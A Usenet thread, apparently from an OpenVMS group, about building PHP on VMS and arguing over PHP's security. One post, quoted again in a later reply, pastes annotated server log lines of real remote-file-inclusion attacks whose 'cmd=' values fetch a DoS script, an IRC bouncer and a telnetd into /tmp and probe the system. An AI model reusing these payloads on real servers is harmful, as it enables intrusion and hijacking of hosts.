Compiling PHP and/or any PHP Extension on VMS
Grant Croker
I have over the last year or so tried to build the PHP source provided
by HP[1] on OpenVMS. The driver for this is a client request to have
the PHP Ingres extension[2] built on the same platform. Unfortunately
I have encountered problems building PHP using the supplied source.
Whilst I realize the source code has been provided as-is and "The save
sets do not include complete build procedures...", I was wondering if
any brave soul had managed to build PHP on their VMS system?
regards
grant
[1] http://h71000.www7.hp.com/openvms/products/ips/apache/csws_source.html
[2] http://pecl.php.net/ingres
Mark Daniel
> Hi,
>
> I have over the last year or so tried to build the PHP source provided
> by HP[1] on OpenVMS. The driver for this is a client request to have
> the PHP Ingres extension[2] built on the same platform. Unfortunately
> I have encountered problems building PHP using the supplied source.
> Whilst I realize the source code has been provided as-is and "The save
> sets do not include complete build procedures...", I was wondering if
This statement has always puzzled me.
Of course there is some value in having access to source if you have a
somewhat academic interest in the way something is implemented but I'm
guessing for the vast majority source is for building, correction
(bugfix), tailoring, extension, improvement ...
What can be the magic ingredient that they are loath to or cannot share
I wonder?
> any brave soul had managed to build PHP on their VMS system?
Dave Jones of OSU has successfully built (earlier?) versions. Perhaps
he used a particular approach he can comment on.
As PHP is such a widely deployed component of Web infrastructure it
would be beneficial to the community for it to be taken out of HP's
hands with their (still much appreciated but) widely staggered releases
I'm sure they wouldn't mind either. Perhaps someone needs to take the
(probably to begin with fairly onerous) responsibility for porting and
maintaining a VMS baseline for PHP. One that would allow others to
build all sorts of extensions against.
This is certainly the case with Jean-François Piéronne's port of Python.
Always up-to-date and bugfixed. You can download and build it
yourself. Add extensions if you want.
I understand about corporate requirements for 'officially supported'
products. Let HP take the n-1 or n-2 such GPL release and call it their
own if they want. Just so the rest of the community can keep moving
forward.
> regards
>
> grant
>
> [1] http://h71000.www7.hp.com/openvms/products/ips/apache/csws_source.html
> [2] http://pecl.php.net/ingres
I'm not going broke spending these AU$0.02 one at a time.
--
Those afraid of the universe as it really is, those who pretend to
nonexistent knowledge and envision a Cosmos centered on human beings
will prefer the fleeting comforts of superstition. They avoid rather
than confront the world. But those with the courage to explore the weave
and structure of the Cosmos, even where it differs profoundly from their
wishes and prejudices, will penetrate its deepest mysteries.
[Carl Sagan; Cosmos]
David Jones
Mark Daniel <mark....@vsm.com.au>
>Grant Croker wrote:
>> Whilst I realize the source code has been provided as-is and "The save
>> sets do not include complete build procedures...", I was wondering if
>What can be the magic ingredient that they are loath to or cannot share
>I wonder?
The revision control system they use, perhaps?
>Dave Jones of OSU has successfully built (earlier?) versions. Perhaps
>he used a particular approach he can comment on.
Last June I did a fresh port of PHP 4.4.7 for use with the OSU server. The
main problem is that the UNIX kits build by using shell scripts to generate key
header files that select tons and tons of conditional source lines based on the
OS variant, application environment, and build options you selected. Once
you get a best guess for a couple hundred #defines in the header files, you
then have to compiler qualifiers to make the compiles resolve the #include
paths correctly and use the right compiler mode options. Finally, you have
to craft linker options files with associated object libraries and/or shareable
images to be able to link your final executables.
I packaged up the result as a zip file for distribution, available at
http://www.ecr6.ohio-state.edu/www/preview/PHP_4_4_7-OVMS-1.ZIP
Note that this kit contains files that supplement/supplant the standard 4.4.7
source kit tree from php.net (which they'll probably stop distributing at the
end of this year). The only executable it builds is a custom PHP interpreter
for the OSU script environment (interpreter internally provides the CGI
environment seen by the scrpits). I don't think it would work with the CSWS
mod_osu module since it requires a patch to work with the OSU server.
David L. Jones | Phone: (614) 271-6718
Ohio State University | Internet:
140 W. 19th St. | jon...@ecr6.ohio-state.edu
Columbus, OH 43210 | vm...@osu.edu
Disclaimer: I'm looking for marbles all day long.
Mark Daniel
> In message <13mdpkq...@corp.supernews.com>
> Mark Daniel <mark....@vsm.com.au>
>
>>Grant Croker wrote:
>>
>>>Whilst I realize the source code has been provided as-is and "The save
>>>sets do not include complete build procedures...", I was wondering if
>
>
>>What can be the magic ingredient that they are loath to or cannot share
>>I wonder?
>
>
> The revision control system they use, perhaps?
So, something other than the CMS/MMS/ et al used by the rest of the
developer community.
>>Dave Jones of OSU has successfully built (earlier?) versions. Perhaps
>>he used a particular approach he can comment on.
>
>
> Last June I did a fresh port of PHP 4.4.7 for use with the OSU server. The
> main problem is that the UNIX kits build by using shell scripts to generate key
> header files that select tons and tons of conditional source lines based on the
> OS variant, application environment, and build options you selected. Once
> you get a best guess for a couple hundred #defines in the header files, you
> then have to compiler qualifiers to make the compiles resolve the #include
> paths correctly and use the right compiler mode options. Finally, you have
> to craft linker options files with associated object libraries and/or shareable
> images to be able to link your final executables.
That's pretty much as I'd imagined it might be.
Too bad.
This is the Achilles heel in much might-have-happened porting effort.
> I packaged up the result as a zip file for distribution, available at
>
> http://www.ecr6.ohio-state.edu/www/preview/PHP_4_4_7-OVMS-1.ZIP
>
> Note that this kit contains files that supplement/supplant the standard 4.4.7
> source kit tree from php.net (which they'll probably stop distributing at the
> end of this year). The only executable it builds is a custom PHP interpreter
> for the OSU script environment (interpreter internally provides the CGI
> environment seen by the scrpits). I don't think it would work with the CSWS
> mod_osu module since it requires a patch to work with the OSU server.
Thanks for the response. Cheers.
>
> David L. Jones | Phone: (614) 271-6718
> Ohio State University | Internet:
> 140 W. 19th St. | jon...@ecr6.ohio-state.edu
> Columbus, OH 43210 | vm...@osu.edu
>
> Disclaimer: I'm looking for marbles all day long.
--
History is full of people who out of fear, or ignorance, or lust for
power have destroyed knowledge of immeasurable value which truly belongs
to us all. We must not let it happen again.
[Carl Sagan; Cosmos]
Rob
Unfortunately, the situation is a little worse than that.
Some of the 'supported' and compiled code released by HP doesn't work,
such as SSL (I have a patch for this now).
I agree with Mark, in that it would be nice to have someone take this
role. The reality is that it's very unlikely that someone would do
this of their own free will.
I for one, would be happy to pay a fixed fee each year for someone to
be employed to keep VMS PHP up to date. If enough like-minded people
got on board, it might just be enough to employ someone.
Having said that, I think HP should really be supporting PHP to a much
higher level. There's an awful lot of talk about PHP5 at the moment,
including all of the new OOP and Classes revisions. I can only see PHP
growing as a business language.
Rob.
By the way, these are my feelings and are not necessarily endorsed or
condoned by my employers.
Bill Gunshannon
Considering the security model (or lack thereof) of PHP one can only
hope you are wrong. I have had our web server attacked via PHP in
the past and I was just notified by the University's Network Security
Guru that a concentrated attack of .edu's using PHP is currently underway
and I should keep an eye on my web server. Perl was bad but PHP is much,
much worse.
bill
--
Bill Gunshannon | de-moc-ra-cy (di mok' ra see) n. Three wolves
bi...@cs.scranton.edu | and a sheep voting on what's for dinner.
University of Scranton |
Scranton, Pennsylvania | #include <std.disclaimer.h>
Grant Croker
> In message <13mdpkqcfd69...@corp.supernews.com>
> Mark Daniel <mark.dan...@vsm.com.au>
>
> >Grant Croker wrote:
> >> Whilst I realize the source code has been provided as-is and "The save
> >> sets do not include complete build procedures...", I was wondering if
> >What can be the magic ingredient that they are loath to or cannot share
> >I wonder?
>
> The revision control system they use, perhaps?
That is only part of the story. I have come across the following:
- Scripts referring to the internal Compaq/HP RCS/SCCS system
- Disk devices in the path of the configure scripts instead of
concealed logicals
- references to alternate libraries/header files of specific compiler
build
- compiler problems resolving header files in alternate directories
>
> >Dave Jones of OSU has successfully built (earlier?) versions. Perhaps
> >he used a particular approach he can comment on.
>
> Last June I did a fresh port of PHP 4.4.7 for use with the OSU server. The
> main problem is that the UNIX kits build by using shell scripts to generate key
> header files that select tons and tons of conditional source lines based on the
> OS variant, application environment, and build options you selected. Once
> you get a best guess for a couple hundred #defines in the header files, you
> then have to compiler qualifiers to make the compiles resolve the #include
> paths correctly and use the right compiler mode options. Finally, you have
> to craft linker options files with associated object libraries and/or shareable
> images to be able to link your final executables.
>
> I packaged up the result as a zip file for distribution, available at
>
> http://www.ecr6.ohio-state.edu/www/preview/PHP_4_4_7-OVMS-1.ZIP
Excellent, I am going to give this a go. If only to work out how the
PHP extensions on VMS hook in to the engine itself.
>
> Note that this kit contains files that supplement/supplant the standard 4.4.7
> source kit tree from php.net (which they'll probably stop distributing at the
> end of this year). The only executable it builds is a custom PHP interpreter
> for the OSU script environment (interpreter internally provides the CGI
> environment seen by the scrpits). I don't think it would work with the CSWS
> mod_osu module since it requires a patch to work with the OSU server.
From what I have read of the aaareadme.txt this looks a lot easier to
setup by comparison.
thanks
grant
Craig A. Berry
Mark Daniel <mark....@vsm.com.au> wrote:
> Grant Croker wrote:
> > Hi,
> >
> > I have over the last year or so tried to build the PHP source provided
> > by HP[1] on OpenVMS. The driver for this is a client request to have
> > the PHP Ingres extension[2] built on the same platform. Unfortunately
> > I have encountered problems building PHP using the supplied source.
What sort of problems?
> > Whilst I realize the source code has been provided as-is and "The save
> > sets do not include complete build procedures...", I was wondering if
>
> This statement has always puzzled me.
>
> Of course there is some value in having access to source if you have a
> somewhat academic interest in the way something is implemented but I'm
> guessing for the vast majority source is for building, correction
> (bugfix), tailoring, extension, improvement ...
>
> What can be the magic ingredient that they are loath to or cannot share
> I wonder?
Most open source licenses require making one's changes available, so in
the first instance, they are simply complying with the license. The
caveats about not supplying the full build procedures may be just
caveats and may or may not reflect what they actually supply with the
download kits.
A quick glance shows some .MMS files under the PHP build directory in
the sources, so quite possibly there aren't any magic ingredients
missing. If there are things missing, it would more likely have to do
with someone having no budget to complete a source release rather than
any reluctance to share.
> > any brave soul had managed to build PHP on their VMS system?
>
> Dave Jones of OSU has successfully built (earlier?) versions. Perhaps
> he used a particular approach he can comment on.
>
> As PHP is such a widely deployed component of Web infrastructure it
> would be beneficial to the community for it to be taken out of HP's
> hands with their (still much appreciated but) widely staggered releases
> I'm sure they wouldn't mind either. Perhaps someone needs to take the
> (probably to begin with fairly onerous) responsibility for porting and
> maintaining a VMS baseline for PHP. One that would allow others to
> build all sorts of extensions against.
A better solution than taking it away from HP would be for HP to take
the lead and contribute assertively to the ports their customers need
to function in the modern IT world.
> This is certainly the case with Jean-François Piéronne's port of Python.
> Always up-to-date and bugfixed. You can download and build it
> yourself. Add extensions if you want.
Mark, if only there were a few more people out there displaying the
same level of skill and generosity as you and J-F Piéronne. I agree
that volunteer-driven projects often do a better job of staying current
than corporation-driven projects.
--
Posted via a free Usenet account from http://www.teranews.com
Arne Vajhøj
> Having said that, I think HP should really be supporting PHP to a much
> higher level. There's an awful lot of talk about PHP5 at the moment,
> including all of the new OOP and Classes revisions. I can only see PHP
> growing as a business language.
1) PHP4 is dead. Support for PHP4 will end 31-DEC-2007. No more
regular bug fixes. Security fixes may be backported until
8-AUG-2008. PHP5 is a must. And BTW PHP5 is indeed much
better than PHP4.
2) PHP is seeing increasingly commercial usage - especially
within CMS, portal and forum software where it is the
dominating server side language (relevant example is
www.openvms.org). And even though that market is not
a typical VMS market, then it still means than plenty
of web developers with PHP skills are available.
Arne
Arne Vajhøj
Bugs in PHP itself are relative rare. Bugs in apps written in PHP are
relative common.
PHP has this problem that it is easy to use. So anybody can slam some
code together that seems to work. And they do. And the app's has
no protection against SQL injection etc..
And some of those apps are very widely used, so script kiddies
love them.
Arne
Bill Gunshannon
Arne Vajhøj <ar...@vajhoej.dk> writes:
> Bill Gunshannon wrote:
>> In article <7ea7c2ce-9f2b-4492...@18g2000hsf.googlegroups.com>,
>> Rob <ratk...@tbs-ltd.co.uk> writes:
>>> I can only see PHP
>>> growing as a business language.
>>
>> Considering the security model (or lack thereof) of PHP one can only
>> hope you are wrong. I have had our web server attacked via PHP in
>> the past and I was just notified by the University's Network Security
>> Guru that a concentrated attack of .edu's using PHP is currently underway
>> and I should keep an eye on my web server. Perl was bad but PHP is much,
>> much worse.
>
> Bugs in PHP itself are relative rare. Bugs in apps written in PHP are
> relative common.
It isn't just bugs. It is a language iwho's interface is designed to
let outsiders execute any command available on the system any time they
want to by merely adding it to the URL sent to the PHP script.
This gives rise to:
a) running the BSD fetch command to download some bad
piece of PHP code into some place like /tmp
b) executing that piece of code.
There is absolutely no legitimate reason why this should be allowed, much
less designed into the system.
>
> PHP has this problem that it is easy to use. So anybody can slam some
> code together that seems to work. And they do. And the app's has
> no protection against SQL injection etc..
Perl and PHP are the antithesis of software engineering.
>
> And some of those apps are very widely used, so script kiddies
> love them.
Sadly, many people claiming to be IT Professionals also love them.
Bill Gunshannon
Arne Vajhøj <ar...@vajhoej.dk> writes:
> Rob wrote:
>> Having said that, I think HP should really be supporting PHP to a much
>> higher level. There's an awful lot of talk about PHP5 at the moment,
>> including all of the new OOP and Classes revisions. I can only see PHP
>> growing as a business language.
>
> 1) PHP4 is dead. Support for PHP4 will end 31-DEC-2007. No more
> regular bug fixes. Security fixes may be backported until
> 8-AUG-2008. PHP5 is a must. And BTW PHP5 is indeed much
> better than PHP4.
Yeah, pretty much the same way as Vista is better than XP. Or a broken
arm is better than a broken leg.
>
> 2) PHP is seeing increasingly commercial usage - especially
> within CMS, portal and forum software where it is the
> dominating server side language (relevant example is
> www.openvms.org). And even though that market is not
> a typical VMS market, then it still means than plenty
> of web developers with PHP skills are available.
And God help us all!!!
Arne Vajhøj
>> And BTW PHP5 is indeed much
>> better than PHP4.
>
> Yeah, pretty much the same way as Vista is better than XP.
Better OOP, better mysql module, better XML module etc..
Arne
Arne Vajhøj
> In article <476ed316$0$90273$1472...@news.sunsite.dk>,
> Arne Vajhøj <ar...@vajhoej.dk> writes:
>> Bugs in PHP itself are relative rare. Bugs in apps written in PHP are
>> relative common.
>
> It isn't just bugs. It is a language iwho's interface is designed to
> let outsiders execute any command available on the system any time they
> want to by merely adding it to the URL sent to the PHP script.
????
It should save it in $_REQUEST, $_GET and $_SERVER but
not execute it.
> Perl and PHP are the antithesis of software engineering.
They are not like the classic programming languages with declarations
of data types etc..
Arne
Bill Gunshannon
Arne Vajhøj <ar...@vajhoej.dk> writes:
> Bill Gunshannon wrote:
>> In article <476ed316$0$90273$1472...@news.sunsite.dk>,
>> Arne Vajhøj <ar...@vajhoej.dk> writes:
>>> Bugs in PHP itself are relative rare. Bugs in apps written in PHP are
>>> relative common.
>>
>> It isn't just bugs. It is a language iwho's interface is designed to
>> let outsiders execute any command available on the system any time they
>> want to by merely adding it to the URL sent to the PHP script.
>
> ????
>
> It should save it in $_REQUEST, $_GET and $_SERVER but
> not execute it.
Yeah, that would be nice, but reality is somewhat different.
>
>> Perl and PHP are the antithesis of software engineering.
>
> They are not like the classic programming languages with declarations
> of data types etc..
They are, by design, for "quick and dirty" programming. they were
designed by amateurs to expand on the number of amateur programmers.
It is truly sad how many professionals have become so lazy that they
now see this as the art of programming.
Bill Gunshannon
is actually worth using in the first place.
Arne Vajhøj
> In article <476ee6ba$0$90263$1472...@news.sunsite.dk>,
> Arne Vajhøj <ar...@vajhoej.dk> writes:
>> Bill Gunshannon wrote:
>>> In article <476ed316$0$90273$1472...@news.sunsite.dk>,
>>> Arne Vajhøj <ar...@vajhoej.dk> writes:
>>>> Bugs in PHP itself are relative rare. Bugs in apps written in PHP are
>>>> relative common.
>>> It isn't just bugs. It is a language iwho's interface is designed to
>>> let outsiders execute any command available on the system any time they
>>> want to by merely adding it to the URL sent to the PHP script.
>> ????
>>
>> It should save it in $_REQUEST, $_GET and $_SERVER but
>> not execute it.
>
> Yeah, that would be nice, but reality is somewhat different.
Do you have a reference. It sounds rather impossible to me.
Maybe except if PHP is run as CGI on an OS that supports multiple
statements in a command line - or something like that.
>>> Perl and PHP are the antithesis of software engineering.
>> They are not like the classic programming languages with declarations
>> of data types etc..
>
> They are, by design, for "quick and dirty" programming.
Web programming often fits that description very well.
Arne
Bill Gunshannon
Arne Vajhøj <ar...@vajhoej.dk> writes:
> Bill Gunshannon wrote:
>> In article <476ee6ba$0$90263$1472...@news.sunsite.dk>,
>> Arne Vajhøj <ar...@vajhoej.dk> writes:
>>> Bill Gunshannon wrote:
>>>> In article <476ed316$0$90273$1472...@news.sunsite.dk>,
>>>> Arne Vajhøj <ar...@vajhoej.dk> writes:
>>>>> Bugs in PHP itself are relative rare. Bugs in apps written in PHP are
>>>>> relative common.
>>>> It isn't just bugs. It is a language iwho's interface is designed to
>>>> let outsiders execute any command available on the system any time they
>>>> want to by merely adding it to the URL sent to the PHP script.
>>> ????
>>>
>>> It should save it in $_REQUEST, $_GET and $_SERVER but
>>> not execute it.
>>
>> Yeah, that would be nice, but reality is somewhat different.
>
> Do you have a reference. It sounds rather impossible to me.
The net is covered with security alerts about PHP. How about if I just
show you the kinds of things they have tried on my server?
------------------
httpd-access2.log:200.215.111.144 - - [29/Mar/2005:14:50:23 -0500] "GET /~cmps/template.php?body=http://www.bsmoney.com/BoSS.txt?&cmd=cd%20/tmp;fetch%20http://packetstormsecurity.nl/DoS/udp.pl HTTP/1.1" 404 300 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows 98)"
** This one is trying to download a UDP based DOS attack written in Perl to
the /tmp directory. Where it will then be used to attack some other
from an "innocent" server.
httpd-access2.log:200.151.236.187 - - [07/Jun/2004:18:47:39 -0400] "GET /~mep2/index.php?page=http://www.starcraftbroodwars.hpg.ig.com.br/own.txt?&cmd=cd%20/tmp%20;%20fetch%20http://www.psychoid.lam3rz.de/psyBNC2.3.1.tar.gz HTTP/1.1" 200 5915 "-" "Mozilla/4.0 (compatible; MSIE 5.0; Windows 98; DigExt)"
** This one is downloading an IRC BOT. I will leave it to you to figure
out why. I stopped using IRC over a decade ago,
httpd-access.log:200.151.83.14 - - [20/May/2004:12:59:42 -0400] "GET /~mep2/tri.gif HTTP/1.1" 404 295 "http://www.cs.uofs.edu/~mep2/index.php?page=http://www.starcraftbroodwars.hpg.ig.com.br/own.txt?&cmd=cd%20/tmp%20;%20wget%20http://members.lycos.co.uk/xnelson/bnc.pl" "Mozilla/4.0 (compatible; MSIE 5.0; Windows 98; DigExt)"
** Same thing written in Perl.
httpd-access.log:200.151.83.14 - - [20/May/2004:13:05:43 -0400] "GET /~mep2/tri.gif HTTP/1.1" 404 295 "http://www.cs.uofs.edu/~mep2/index.php?page=http://www.starcraftbroodwars.hpg.ig.com.br/own.txt?&cmd=netstat%20-an" "Mozilla/4.0 (compatible; MSIE 5.0; Windows 98;DigExt)"
** This one is running netstat, probably just fishing for addresses of
local machines or maybe just trying to see if the PHP exploit works.
httpd-access.log:80.178.183.122 - - [20/May/2004:17:46:12 -0400] "GET /~mep2/tri.gif HTTP/1.1" 404 295 "http://www.cs.uofs.edu/~mep2/index.php?page=http://ttyp1.hpgvip.com.br/hkz.txt?&cmd=id" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)"
** This one is trying to see what user PHP scripts run as.
httpd-access.log:200.151.83.14 - - [20/May/2004:13:07:58 -0400] "GET /~mep2/tri.gif HTTP/1.1" 404 295 "http://www.cs.uofs.edu/~mep2/index.php?page=http://www.starcraftbroodwars.hpg.ig.com.br/own.txt?&cmd=ps%20x" "Mozilla/4.0 (compatible; MSIE 5.0; Windows 98; DigExt)"
** This one is looking for what processes are running. Maybe to see if
the exploit worked?
httpd-access.log:80.178.183.122 - - [20/May/2004:17:46:22 -0400] "GET /~mep2/tri.gif HTTP/1.1" 404 295 "http://www.cs.uofs.edu/~mep2/index.php?page=http://ttyp1.hpgvip.com.br/hkz.txt?&cmd=uname%20-a" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)"
** This one is probing for info on system type.
httpd-access.log:80.178.183.122 - - [20/May/2004:17:49:08 -0400] "GET /~mep2/tri.gif HTTP/1.1" 404 295 "http://www.cs.uofs.edu/~mep2/index.php?page=http://ttyp1.hpgvip.com.br/hkz.txt?&cmd=cd%20/tmp;pwd" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)"
** This one seems to be testing wether or not changing directories worked.
httpd-access.log:80.178.183.122 - - [20/May/2004:17:49:15 -0400] "GET /~mep2/tri.gif HTTP/1.1" 404 295 "http://www.cs.uofs.edu/~mep2/index.php?page=http://ttyp1.hpgvip.com.br/hkz.txt?&cmd=cd%20/tmp;wget%20talesrenan.vila.bol.com.br/telnetd" "Mozilla/4.0 (compatible;MSIE 6.0; Windows NT 5.1)"
** And this one is trying to use "wget" to download a telnet daemon that
probably bypasses the password part of the login.
---------------------
>
> Maybe except if PHP is run as CGI on an OS that supports multiple
> statements in a command line - or something like that.
I imagine the biggest use for PHP is as CGI and the "cmd=" is apparently
normal URL syntax. What it does is a function of PHP. I can not think
of any good, legitimate reason to allow this.
>
>>>> Perl and PHP are the antithesis of software engineering.
>>> They are not like the classic programming languages with declarations
>>> of data types etc..
>>
>> They are, by design, for "quick and dirty" programming.
>
> Web programming often fits that description very well.
And you don't see a problem with that?
JF Mezei
>>> They are, by design, for "quick and dirty" programming.
>>
>> Web programming often fits that description very well.
>
> And you don't see a problem with that?
If you see a problem with that, it will prevent you from getting many
jobs/contracts. You're not going to go very far at interviews when you
start to torpedoe the technology chosen by star employee(s) in that
company (and potentially the interviewer himself).
In the end, pushing for web standard adherance hasn't gotten people far.
Pushing for quality and security hasn't gotten VMS anywhere. It is a sad
fact that the IT industry is made of sheep who religiously follow trends
that are set out by trade rags.
Giving people what they need doesn't work anymore. Giving them what they
want works.
One way to get a heard of sheep to move in a different direction is to
bark at them. (at least that works for cyclists in new zealand).
In the IT world, disturbing technologies (not sure if this is the actual
expression) is what causes the heard to start moving. Large corporations
like Bell Canada had gotten so brainwashed by Gates that they had
allowed their web sites serving milions of people to actively block out
non-Microsoft browsers. Then came Linux and Mozilla/Firefox, and the
trade rags have talked those up quite a bit, and all of a sudden, those
large corporatiosn awaken to the stupidity of their web sites and remove
the code that prevented non MS users from accessing it. (I am not
talking about html features not working, it was code that redirected
non-MS users to a page telling them they couldn't access their web sites).
Unfortunatly, the dozen of so people left in this newsgroup don't have
the ability to influence the media and hence no ability to start/change
trends. The only solution is to go with the flow and stop fighting.
Resistance is futile.
Bill Gunshannon
JF Mezei <jfmezei...@vaxination.ca> writes:
> Bill Gunshannon wrote:
>
>>>> They are, by design, for "quick and dirty" programming.
>>>
>>> Web programming often fits that description very well.
>>
>> And you don't see a problem with that?
>
>
> If you see a problem with that, it will prevent you from getting many
> jobs/contracts. You're not going to go very far at interviews when you
> start to torpedoe the technology chosen by star employee(s) in that
> company (and potentially the interviewer himself).
Well, JF, at my age that is probably not going to be much of a problem.
There are enough jobs around that require my real skills without my
having to prostitute myself and contribute to the problems that are
rapidly destroying the INTERNET as a serious place to do business.
>
> In the end, pushing for web standard adherance hasn't gotten people far.
> Pushing for quality and security hasn't gotten VMS anywhere. It is a sad
> fact that the IT industry is made of sheep who religiously follow trends
> that are set out by trade rags.
>
> Giving people what they need doesn't work anymore. Giving them what they
> want works.
Damn, your more cynical than even me.
Arne Vajhøj
I can not see any indication of whether this is trying to exploit
a bug in PHP or a bug in the PHP app.
> httpd-access.log:200.151.83.14 - - [20/May/2004:12:59:42 -0400] "GET /~mep2/tri.gif HTTP/1.1" 404 295 "http://www.cs.uofs.edu/~mep2/index.php?page=http://www.starcraftbroodwars.hpg.ig.com.br/own.txt?&cmd=cd%20/tmp%20;%20wget%20http://members.lycos.co.uk/xnelson/bnc.pl" "Mozilla/4.0 (compatible; MSIE 5.0; Windows 98; DigExt)"
>
> ** Same thing written in Perl.
>
> httpd-access.log:200.151.83.14 - - [20/May/2004:13:05:43 -0400] "GET /~mep2/tri.gif HTTP/1.1" 404 295 "http://www.cs.uofs.edu/~mep2/index.php?page=http://www.starcraftbroodwars.hpg.ig.com.br/own.txt?&cmd=netstat%20-an" "Mozilla/4.0 (compatible; MSIE 5.0; Windows 98;DigExt)"
>
> ** This one is running netstat, probably just fishing for addresses of
> local machines or maybe just trying to see if the PHP exploit works.
>
> httpd-access.log:80.178.183.122 - - [20/May/2004:17:46:12 -0400] "GET /~mep2/tri.gif HTTP/1.1" 404 295 "http://www.cs.uofs.edu/~mep2/index.php?page=http://ttyp1.hpgvip.com.br/hkz.txt?&cmd=id" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)"
>
> ** This one is trying to see what user PHP scripts run as.
>
> httpd-access.log:200.151.83.14 - - [20/May/2004:13:07:58 -0400] "GET /~mep2/tri.gif HTTP/1.1" 404 295 "http://www.cs.uofs.edu/~mep2/index.php?page=http://www.starcraftbroodwars.hpg.ig.com.br/own.txt?&cmd=ps%20x" "Mozilla/4.0 (compatible; MSIE 5.0; Windows 98; DigExt)"
>
> ** This one is looking for what processes are running. Maybe to see if
> the exploit worked?
>
> httpd-access.log:80.178.183.122 - - [20/May/2004:17:46:22 -0400] "GET /~mep2/tri.gif HTTP/1.1" 404 295 "http://www.cs.uofs.edu/~mep2/index.php?page=http://ttyp1.hpgvip.com.br/hkz.txt?&cmd=uname%20-a" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)"
>
> ** This one is probing for info on system type.
>
> httpd-access.log:80.178.183.122 - - [20/May/2004:17:49:08 -0400] "GET /~mep2/tri.gif HTTP/1.1" 404 295 "http://www.cs.uofs.edu/~mep2/index.php?page=http://ttyp1.hpgvip.com.br/hkz.txt?&cmd=cd%20/tmp;pwd" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)"
>
> ** This one seems to be testing wether or not changing directories worked.
>
> httpd-access.log:80.178.183.122 - - [20/May/2004:17:49:15 -0400] "GET /~mep2/tri.gif HTTP/1.1" 404 295 "http://www.cs.uofs.edu/~mep2/index.php?page=http://ttyp1.hpgvip.com.br/hkz.txt?&cmd=cd%20/tmp;wget%20talesrenan.vila.bol.com.br/telnetd" "Mozilla/4.0 (compatible;MSIE 6.0; Windows NT 5.1)"
>
> ** And this one is trying to use "wget" to download a telnet daemon that
> probably bypasses the password part of the login.
Those are definitely neither trying to exploit a bug in PHP or a bug in
the PHP app since it is request for static content (GIF). It will not
get anywhere near PHP. The reference to PHP is the HTTP referrer.
>> Maybe except if PHP is run as CGI on an OS that supports multiple
>> statements in a command line - or something like that.
>
> I imagine the biggest use for PHP is as CGI
No.
Apache module and ISAPI covers most of PHP usage. It is very rare
to run as CGI.
> and the "cmd=" is apparently
> normal URL syntax. What it does is a function of PHP. I can not think
> of any good, legitimate reason to allow this.
The field=val syntax is standard HTTP syntax and a foundation for
much of the internet.
It is up to the server side script not to execute shell commands.
>>>>> Perl and PHP are the antithesis of software engineering.
>>>> They are not like the classic programming languages with declarations
>>>> of data types etc..
>>> They are, by design, for "quick and dirty" programming.
>> Web programming often fits that description very well.
>
> And you don't see a problem with that?
It does really not matter much what I think.
What matters is that there is a huge demand for
web solutions with very short time from idea to
production.
PHP fulfills that demand. There are also other
possibilities, but the classic programming languages
are not among them.
And I somewhat suspect that you are not RoR fan either.
Arne
Main, Kerry
[snip...]
>
> >>>>> Perl and PHP are the antithesis of software engineering.
> >>>> They are not like the classic programming languages with
> declarations
> >>>> of data types etc..
> >>> They are, by design, for "quick and dirty" programming.
> >> Web programming often fits that description very well.
> >
> > And you don't see a problem with that?
>
> It does really not matter much what I think.
>
> What matters is that there is a huge demand for
> web solutions with very short time from idea to
> production.
>
> PHP fulfills that demand. There are also other
> possibilities, but the classic programming languages
> are not among them.
>
> And I somewhat suspect that you are not RoR fan either.
>
> Arne
Arne is right about the need for quick solutions.
However, what is typically lacking in most shops is the experience and
expertise to determine which technology is more appropriate for the task
at hand. And of course, the gumption to push back against inappropriate
technology by managers who do not have a vision longer than next month is
also an issue in many shops.
I am sure we all have examples where a short term "just-get-it-running"
solution evolved into a production environment where standards, availability
and security all of a sudden became much greater concerns than when the
solution was first put in place.
And of course, once the temp solution is in place, putting more appropriate
technology in place for production use is a bit like changing a tire on a
car while it is driving down the highway.
Regards
Kerry Main
Senior Consultant
HP Services Canada
Voice: 613-592-4660
Fax: 613-591-4477
kerryDOTmainAThpDOTcom
(remove the DOT's and AT)
OpenVMS - the secure, multi-site OS that just works.
Arne Vajhøj
> However, what is typically lacking in most shops is the experience and
> expertise to determine which technology is more appropriate for the task
> at hand. And of course, the gumption to push back against inappropriate
> technology by managers who do not have a vision longer than next month is
> also an issue in many shops.
>
> I am sure we all have examples where a short term "just-get-it-running"
> solution evolved into a production environment where standards, availability
> and security all of a sudden became much greater concerns than when the
> solution was first put in place.
>
> And of course, once the temp solution is in place, putting more appropriate
> technology in place for production use is a bit like changing a tire on a
> car while it is driving down the highway.
Yup.
Some of those freely available PHP apps are very feature rich.
What manager does not consider free + feature rich a tempting
combination.
A good PHP programmer could probably detect the quality by
looking at the code in 30 minutes.
But even if they actually had such one look at the code, then
"poor code quality => likely that there exists SQL injection
or XSS vulnerabilities" may not be sufficient to stop the
project.
But I would blame the specific apps not PHP as such. It is
possible to create well structured code in PHP.
I am not convinced that the traditional declare variables
with type approach is the only valid approach for
web apps.
PHP definitely has its shortcomings, but for a stateless
non-transactional presentation web app, then I would expect
it to be one of the best choices.
And there are likely millions of that type of web sites.
Arne
Grant Croker
> by HP[1] on OpenVMS. The driver for this is a client request to have
> I have encountered problems buildingPHPusing the supplied source.
> Whilst I realize the source code has been provided as-is and "The save
> sets do not include complete build procedures...", I was wondering if
>
> regards
>
> grant
>
> [1]http://h71000.www7.hp.com/openvms/products/ips/apache/csws_source.html
> [2]http://pecl.php.net/ingres
For those of you interested in PHP on VMS I have some information that
might be of interest. HP will be releasing an ECO kit based on the
current code that brings in some missing internal functions (required
for building PHP extensions on VMS). This update is scheduled for
April this year. There are also plans to bring PHP 5 support to VMS
towards the end of this year, version 5.2.5 was mentioned to me but
this could change depending on the latest PHP release available.
regards
grant
--
Grant Croker - Software Engineer - http://ingres.com
The trouble with having an open mind, of course, is that people will
insist
on coming along and trying to put things in it.
-- (Terry Pratchett, Diggers)
Ken Robinson
> For those of you interested in PHP on VMS I have some information that
> might be of interest. HP will be releasing an ECO kit based on the
> current code that brings in some missing internal functions (required
> for building PHP extensions on VMS). This update is scheduled for
> April this year. There are also plans to bring PHP 5 support to VMS
> towards the end of this year, version 5.2.5 was mentioned to me but
> this could change depending on the latest PHP release available.
>
This is great news. I hope it comes to pass sooner rather than later.
Ken
